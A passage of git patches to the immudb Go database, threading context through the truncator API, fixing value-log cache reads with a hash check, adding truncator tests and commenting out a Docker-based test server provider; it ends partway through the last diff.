a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index d9adfa6d08..f41b115af6 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -92,7 +92,7 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr.ID)) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) for i := deletePointTx; i <= 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) @@ -128,7 +128,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr.ID)) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) for i := deletePointTx; i <= 10; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) @@ -183,7 +183,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr.ID)) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) for i := deletePointTx; i <= 30; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) @@ -323,7 +323,7 @@ func Test_vlogCompactor_with_sql(t *testing.T) { hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr.ID)) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) @@ -395,7 +395,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr.ID)) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) // ensure that a transaction is added for the sql catalog commit require.Equal(t, uint64(2), db.st.LastCommittedTxID()) @@ -417,13 +417,13 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { db := setupCommonTest(t) exec := func(t *testing.T, stmt string) { - _, ctx, err := db.SQLExec(context.TODO(), nil, &schema.SQLExecRequest{Sql: stmt}) + _, ctx, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: stmt}) require.NoError(t, err) require.Len(t, ctx, 1) } query := func(t *testing.T, stmt string, expectedRows int) { - res, err := db.SQLQuery(context.TODO(), nil, &schema.SQLQueryRequest{Sql: stmt}) + res, err := db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) require.NoError(t, err) require.NoError(t, err) require.Len(t, res.Rows, expectedRows) @@ -452,7 +452,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { hdr, err := db.st.ReadTxHeader(lastCommitTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr.ID)) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) @@ -471,7 +471,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } - deleteUptoTx, err = db.Set(context.TODO(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + deleteUptoTx, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) } @@ -481,7 +481,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr.ID)) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) @@ -574,7 +574,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } - _, err := db.Set(context.TODO(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) } @@ -588,7 +588,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } - _, err := db.Set(context.TODO(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) once.Do(func() { close(startWritesCh) }) @@ -603,7 +603,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(hdr.ID)) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) close(doneTruncateCh) }() diff --git a/pkg/server/server.go b/pkg/server/server.go index ecf056f707..4e5c11180c 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1678,7 +1678,7 @@ func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateD rp := time.Duration(req.RetentionPeriod) * time.Millisecond truncator := truncator.NewTruncator(db, rp, 0, s.Logger) - err = truncator.Truncate(rp) + err = truncator.Truncate(ctx, rp) if err != nil { return nil, err } diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go index 2f3f88ef5a..be8d480f1b 100644 --- a/pkg/truncator/truncator.go +++ b/pkg/truncator/truncator.go @@ -17,6 +17,7 @@ limitations under the License. package truncator import ( + "context" "errors" "sync" "time" @@ -99,7 +100,7 @@ func (t *Truncator) Start() error { // Truncate time to the beginning of the day. ts := t.retentionPeriodF(time.Now(), t.retentionPeriod) t.logger.Infof("start truncating database '%s' {ts = %v}", t.db.GetName(), ts) - if err := t.truncate(ts); err != nil { + if err := t.truncate(context.Background(), ts); err != nil { if errors.Is(err, database.ErrRetentionPeriodNotReached) { t.logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", t.db.GetName(), ts.String()) } else if errors.Is(err, store.ErrTxNotFound) { @@ -129,7 +130,7 @@ func (t *Truncator) Start() error { // | | | // tn-1:vx tn:vx tn+1:vx // -func (t *Truncator) truncate(ts time.Time) error { +func (t *Truncator) truncate(ctx context.Context, ts time.Time) error { for _, c := range t.truncators { // Plan determines the transaction header before time period ts. If a // transaction is not found, or if an error occurs fetching the transaction, @@ -145,7 +146,7 @@ func (t *Truncator) truncate(ts time.Time) error { // Truncate discards the appendable log upto the offset // specified in the transaction hdr - err = c.Truncate(hdr.ID) + err = c.Truncate(ctx, hdr.ID) if err != nil { t.logger.Errorf("failed to truncate database '%s' {err = %v}", t.db.GetName(), err) return err @@ -173,10 +174,10 @@ func (t *Truncator) Stop() error { } // Truncate discards all data from the database that is older than the retention period. -func (t *Truncator) Truncate(retentionPeriod time.Duration) error { +func (t *Truncator) Truncate(ctx context.Context, retentionPeriod time.Duration) error { ts := t.retentionPeriodF(time.Now(), retentionPeriod) t.logger.Infof("start truncating database '%s' {ts = %v}", t.db.GetName(), ts) - if err := t.truncate(ts); err != nil { + if err := t.truncate(ctx, ts); err != nil { if errors.Is(err, database.ErrRetentionPeriodNotReached) { t.logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", t.db.GetName(), ts.String()) } else if errors.Is(err, store.ErrTxNotFound) { diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 7192fd140c..556be4aa2d 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -54,6 +54,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { so.MaxIOConcurrency = 1 options.WithStoreOptions(so) + ctx := context.TODO() db := makeDbWith(t, "db", options) tr := NewTruncator(db, 0, 0, logger.NewSimpleLogger("immudb ", os.Stderr)) tr.retentionPeriodF = func(ts time.Time, retentionPeriod time.Duration) time.Time { @@ -67,7 +68,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } - _, err := db.Set(context.TODO(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + _, err := db.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) if i == 10 { queryTime = time.Now() @@ -80,7 +81,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) dur := time.Since(queryTime) - err = tr.Truncate(dur) + err = tr.Truncate(ctx, dur) require.NoError(t, err) for i := uint64(1); i < hdr.ID-1; i++ { @@ -89,7 +90,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { Value: []byte(fmt.Sprintf("val_%d", i)), } - _, err := db.Get(context.TODO(), &schema.KeyRequest{Key: kv.Key}) + _, err := db.Get(ctx, &schema.KeyRequest{Key: kv.Key}) require.Error(t, err) } @@ -99,7 +100,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { Value: []byte(fmt.Sprintf("val_%d", i)), } - item, err := db.Get(context.TODO(), &schema.KeyRequest{Key: kv.Key}) + item, err := db.Get(ctx, &schema.KeyRequest{Key: kv.Key}) require.NoError(t, err) require.Equal(t, kv.Key, item.Key) require.Equal(t, kv.Value, item.Value) @@ -109,14 +110,14 @@ func TestDatabase_truncate_with_duration(t *testing.T) { t.Run("truncate with retention period in the past", func(t *testing.T) { ts := time.Now().Add(-24 * time.Hour) dur := time.Since(ts) - err := tr.Truncate(dur) + err := tr.Truncate(ctx, dur) require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) }) t.Run("truncate with retention period in the future", func(t *testing.T) { ts := time.Now().Add(24 * time.Hour) dur := time.Since(ts) - err := tr.Truncate(dur) + err := tr.Truncate(ctx, dur) require.ErrorIs(t, err, store.ErrTxNotFound) }) From c84e7e4dbf32d2ff1278dec3d352ea9ae8c31ac3 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 26 Jan 2023 09:21:36 +0530 Subject: [PATCH 0181/1062] chore(embedded/store): fix rebase issue with readValueAt for vlogcache --- embedded/store/immustore.go | 26 +++++++++++--------------- embedded/store/immustore_test.go | 27 +++++++++++++++++++-------- pkg/database/database_test.go | 1 + pkg/database/truncator_test.go | 7 +++++++ pkg/truncator/truncator_test.go | 1 + 5 files changed, 39 insertions(+), 23 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 931ac36c2e..03af2413f8 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2566,14 +2566,12 @@ func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { } func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte) (n int, err error) { - mustReadFromVLog := true - if s.vLogCache != nil { val, err := s.vLogCache.Get(off) if err == nil { // the requested value was found in the value cache copy(b, val.([]byte)) - mustReadFromVLog = false + return len(b), nil } else { if !errors.Is(err, cache.ErrKeyNotFound) { return 0, err @@ -2581,20 +2579,18 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte) ( } } - if mustReadFromVLog { - vLogID, offset := decodeOffset(off) + vLogID, offset := decodeOffset(off) - if vLogID > 0 { - vLog := s.fetchVLog(vLogID) - defer s.releaseVLog(vLogID) + if vLogID > 0 { + vLog := s.fetchVLog(vLogID) + defer s.releaseVLog(vLogID) - n, err := vLog.ReadAt(b, offset) - if err == multiapp.ErrAlreadyClosed || err == singleapp.ErrAlreadyClosed { - return n, ErrAlreadyClosed - } - if err != nil { - return n, err - } + n, err := vLog.ReadAt(b, offset) + if err == multiapp.ErrAlreadyClosed || err == singleapp.ErrAlreadyClosed { + return n, ErrAlreadyClosed + } + if err != nil { + return n, err } if hvalue != sha256.Sum256(b) { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 63862e2367..7c103166a9 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -4253,7 +4253,8 @@ func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). WithMaxConcurrency(100). - WithMaxIOConcurrency(5) + WithMaxIOConcurrency(5). + WithVLogCacheSize(0) st, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4303,7 +4304,8 @@ func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). - WithMaxIOConcurrency(1) + WithMaxIOConcurrency(1). + WithVLogCacheSize(0) st, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4351,7 +4353,8 @@ func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). - WithMaxIOConcurrency(1) + WithMaxIOConcurrency(1). + WithVLogCacheSize(0) st, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4405,7 +4408,8 @@ func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). WithMaxConcurrency(100). - WithMaxIOConcurrency(3) + WithMaxIOConcurrency(3). + WithVLogCacheSize(0) st, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4453,7 +4457,8 @@ func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). - WithMaxIOConcurrency(1) + WithMaxIOConcurrency(1). + WithVLogCacheSize(0) st, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4514,7 +4519,8 @@ func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { func TestExportTxWithTruncation(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). - WithMaxIOConcurrency(1) + WithMaxIOConcurrency(1). + WithVLogCacheSize(0) // Create a master store masterDir := t.TempDir() @@ -4560,6 +4566,9 @@ func TestExportTxWithTruncation(t *testing.T) { err = masterStore.ReadTx(i, tx) for _, e := range tx.Entries() { _, err := masterStore.ReadValue(e) + if err == nil { + fmt.Println("i: ", i) + } require.Error(t, err) } } @@ -4611,7 +4620,8 @@ func TestExportTxWithTruncation(t *testing.T) { } func TestImmudbStoreTxMetadata(t *testing.T) { - opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) + opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1).WithVLogCacheSize(0) + immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4672,7 +4682,8 @@ func TestImmudbStoreTxMetadata(t *testing.T) { func TestImmudbStoreTruncateUptoTx_WithDataPostTruncationPoint(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). - WithMaxIOConcurrency(1) + WithMaxIOConcurrency(1). + WithVLogCacheSize(0) st, err := Open(t.TempDir(), opts) require.NoError(t, err) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index fcb66c2861..60ff740e57 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2173,6 +2173,7 @@ func Test_database_truncate(t *testing.T) { options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) options.storeOpts.MaxIOConcurrency = 1 + options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index f41b115af6..3ffba61c3e 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -76,6 +76,7 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) options.storeOpts.MaxIOConcurrency = 5 options.storeOpts.MaxConcurrency = 500 + options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) @@ -112,6 +113,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 + options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) @@ -157,6 +159,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 + options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) @@ -235,6 +238,7 @@ func Test_vlogCompactor_Plan(t *testing.T) { options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(600) options.storeOpts.MaxIOConcurrency = 1 + options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) @@ -272,6 +276,7 @@ func setupCommonTest(t *testing.T) *db { options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db1", options) return db @@ -386,6 +391,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) options.storeOpts.MaxIOConcurrency = 1 + options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) @@ -565,6 +571,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) options.storeOpts.WithFileSize(60) + options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) require.Equal(t, uint64(1), db.st.LastCommittedTxID()) diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 556be4aa2d..c35b4599a2 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -52,6 +52,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { so := options.GetStoreOptions() so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) so.MaxIOConcurrency = 1 + so.VLogCacheSize = 0 options.WithStoreOptions(so) ctx := context.TODO() From 85799bdbfaa716e6e38ba53e477932ab09513c22 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 26 Jan 2023 16:46:58 +0530 Subject: [PATCH 0182/1062] chore(embedded/store): fix default vlog cache size and add validation for hash when reading from cache --- embedded/store/immustore.go | 4 +++- embedded/store/immustore_test.go | 26 ++++++++------------------ embedded/store/options.go | 2 +- 3 files changed, 12 insertions(+), 20 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 03af2413f8..d7acd90520 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2571,6 +2571,9 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte) ( if err == nil { // the requested value was found in the value cache copy(b, val.([]byte)) + if hvalue != sha256.Sum256(b) { + return len(b), ErrCorruptedData + } return len(b), nil } else { if !errors.Is(err, cache.ErrKeyNotFound) { @@ -2580,7 +2583,6 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte) ( } vLogID, offset := decodeOffset(off) - if vLogID > 0 { vLog := s.fetchVLog(vLogID) defer s.releaseVLog(vLogID) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 7c103166a9..2186930d51 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -4253,8 +4253,7 @@ func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). WithMaxConcurrency(100). - WithMaxIOConcurrency(5). - WithVLogCacheSize(0) + WithMaxIOConcurrency(5) st, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4304,8 +4303,7 @@ func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). - WithMaxIOConcurrency(1). - WithVLogCacheSize(0) + WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4353,8 +4351,7 @@ func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). - WithMaxIOConcurrency(1). - WithVLogCacheSize(0) + WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4408,8 +4405,7 @@ func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). WithMaxConcurrency(100). - WithMaxIOConcurrency(3). - WithVLogCacheSize(0) + WithMaxIOConcurrency(3) st, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4457,8 +4453,7 @@ func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). - WithMaxIOConcurrency(1). - WithVLogCacheSize(0) + WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4519,8 +4514,7 @@ func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { func TestExportTxWithTruncation(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). - WithMaxIOConcurrency(1). - WithVLogCacheSize(0) + WithMaxIOConcurrency(1) // Create a master store masterDir := t.TempDir() @@ -4566,9 +4560,6 @@ func TestExportTxWithTruncation(t *testing.T) { err = masterStore.ReadTx(i, tx) for _, e := range tx.Entries() { _, err := masterStore.ReadValue(e) - if err == nil { - fmt.Println("i: ", i) - } require.Error(t, err) } } @@ -4620,7 +4611,7 @@ func TestExportTxWithTruncation(t *testing.T) { } func TestImmudbStoreTxMetadata(t *testing.T) { - opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1).WithVLogCacheSize(0) + opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -4682,8 +4673,7 @@ func TestImmudbStoreTxMetadata(t *testing.T) { func TestImmudbStoreTruncateUptoTx_WithDataPostTruncationPoint(t *testing.T) { opts := DefaultOptions(). WithFileSize(6). - WithMaxIOConcurrency(1). - WithVLogCacheSize(0) + WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) require.NoError(t, err) diff --git a/embedded/store/options.go b/embedded/store/options.go index 00c94e62dd..1e93f2f9e8 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -41,7 +41,7 @@ const DefaultFileSize = multiapp.DefaultFileSize const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel const DefaultTxLogCacheSize = 1000 -const DefaultVLogCacheSize = 1000 +const DefaultVLogCacheSize = 0 const DefaultMaxWaitees = 1000 const DefaultVLogMaxOpenedFiles = 10 const DefaultTxLogMaxOpenedFiles = 10 From 269e21cd74e494d470205df4ab35504c71d48c5a Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 31 Jan 2023 17:50:54 +0530 Subject: [PATCH 0183/1062] chore(truncator): add more coverage for truncator --- pkg/truncator/truncator_test.go | 64 +++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index c35b4599a2..9069eea676 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -210,3 +210,67 @@ func Test_GetRetentionPeriod(t *testing.T) { }) } } + +func TestTruncator_with_retention_period(t *testing.T) { + rootPath := t.TempDir() + + options := database.DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + so := options.GetStoreOptions() + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + so.MaxIOConcurrency = 1 + options.WithStoreOptions(so) + + db := makeDbWith(t, "db", options) + tr := NewTruncator(db, 25*time.Hour, 5*time.Millisecond, logger.NewSimpleLogger("immudb ", os.Stderr)) + + err := tr.Start() + require.NoError(t, err) + + time.Sleep(15 * time.Millisecond) + + err = tr.truncate(context.Background(), getRetentionPeriod(time.Now(), 25*time.Hour)) + require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) + + err = tr.Stop() + require.NoError(t, err) +} + +type mockTruncator struct { + err error +} + +func (m *mockTruncator) Plan(time.Time) (*store.TxHeader, error) { + return nil, m.err +} + +// Truncate runs truncation against the relevant appendable logs. Must +// be called after result of Plan(). +func (m *mockTruncator) Truncate(context.Context, uint64) error { + return m.err +} + +func TestTruncator_with_invalid_transaction_id(t *testing.T) { + rootPath := t.TempDir() + + options := database.DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + so := options.GetStoreOptions() + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + so.MaxIOConcurrency = 1 + options.WithStoreOptions(so) + + db := makeDbWith(t, "db", options) + tr := NewTruncator(db, 25*time.Hour, 5*time.Millisecond, logger.NewSimpleLogger("immudb ", os.Stderr)) + tr.truncators = make([]database.Truncator, 0) + tr.truncators = append(tr.truncators, &mockTruncator{err: store.ErrTxNotFound}) + + err := tr.Start() + require.NoError(t, err) + + time.Sleep(15 * time.Millisecond) + + err = tr.truncate(context.Background(), getRetentionPeriod(time.Now(), 2*time.Hour)) + require.ErrorIs(t, err, store.ErrTxNotFound) + + err = tr.Stop() + require.NoError(t, err) +} From 0b47251799f44acf816c5cc8aaaf92455aaa3b27 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 1 Feb 2023 12:26:59 +0530 Subject: [PATCH 0184/1062] chore: remove docker test provider --- pkg/integration/replication/docker.go | 288 +++++++++++++------------- 1 file changed, 144 insertions(+), 144 deletions(-) diff --git a/pkg/integration/replication/docker.go b/pkg/integration/replication/docker.go index 35528bf221..8dc0851013 100644 --- a/pkg/integration/replication/docker.go +++ b/pkg/integration/replication/docker.go @@ -1,146 +1,146 @@ package replication -import ( - "fmt" - "math/rand" - "net" - "os" - "strconv" - "testing" - "time" - - "github.com/ory/dockertest/v3" - "github.com/ory/dockertest/v3/docker" - "github.com/rs/xid" - "github.com/stretchr/testify/require" -) - -func init() { - rand.Seed(time.Now().UnixNano()) -} - -// dockerTestServerProvider creates docker test servers -type dockerTestServerProvider struct { -} - -func (p *dockerTestServerProvider) AddServer(t *testing.T) TestServer { - pool, err := dockertest.NewPool("") - require.NoError(t, err) - - ret := &dockerTestServer{ - pool: pool, - dir: t.TempDir(), - } - - ret.Start(t) - return ret -} - -// dockerTestServer represents an immudb docker test server -type dockerTestServer struct { - pool *dockertest.Pool - srv *dockertest.Resource - port int - dir string -} - -func (s *dockerTestServer) Address(t *testing.T) (string, int) { - return getLocalIP(), s.port -} - -func (s *dockerTestServer) UUID(t *testing.T) xid.ID { - panic("UUID unsupported in dockerTestServer") -} - -func (s *dockerTestServer) Shutdown(t *testing.T) { - require.NotNil(t, s.srv) - require.NoError(t, s.pool.Purge(s.srv)) - - // Wait for docker container to shutdown - time.Sleep(2 * time.Second) - s.srv = nil -} - -// startContainer will run a container with the given options. -func (s *dockerTestServer) startContainer(t *testing.T, runOptions *dockertest.RunOptions) *dockertest.Resource { - // Make sure that there are no containers running from previous execution first - // This is to ensure there is no conflict in the container name. - // FIX: containers fail to purge successfully when created without a name - require.NoError(t, s.pool.RemoveContainerByName(runOptions.Name)) - - image := fmt.Sprintf("%s:%s", runOptions.Repository, runOptions.Tag) - - if runOptions.Tag == "latest" { - _, err := s.pool.Client.InspectImage(image) - require.NoError(t, err, "Could not find %s", image) - } - - resource, err := s.pool.RunWithOptions(runOptions, func(config *docker.HostConfig) { - config.Mounts = []docker.HostMount{ - { - Source: "/tmp", - Target: os.Getenv("TMPDIR"), - Type: "bind", - }, - } - }) - require.NoError(t, err) - return resource -} - -func (s *dockerTestServer) Start(t *testing.T) { - require.Nil(t, s.srv) - - var ( - name = fmt.Sprintf("immudb-%d", rand.Intn(50)) - repo = "immudb/e2e" - tag = "latest" - dirFlag = fmt.Sprintf("--dir=%s", s.dir) - hostPort = "" - ) - - if s.port > 0 { - hostPort = strconv.Itoa(s.port) - } - - container := s.startContainer(t, &dockertest.RunOptions{ - Name: name, - Repository: repo, - Tag: tag, - Cmd: []string{ - dirFlag, - "--pgsql-server=false", - "--metrics-server=false", - }, - ExposedPorts: []string{"3322"}, - PortBindings: map[docker.Port][]docker.PortBinding{"3322/tcp": {{HostPort: hostPort}}}, - }) - - port, err := strconv.Atoi(container.GetPort("3322/tcp")) - require.NoError(t, err) - - s.srv = container - s.port = port - - // Wait for the server to initialize - // TODO: Active notification that the server has 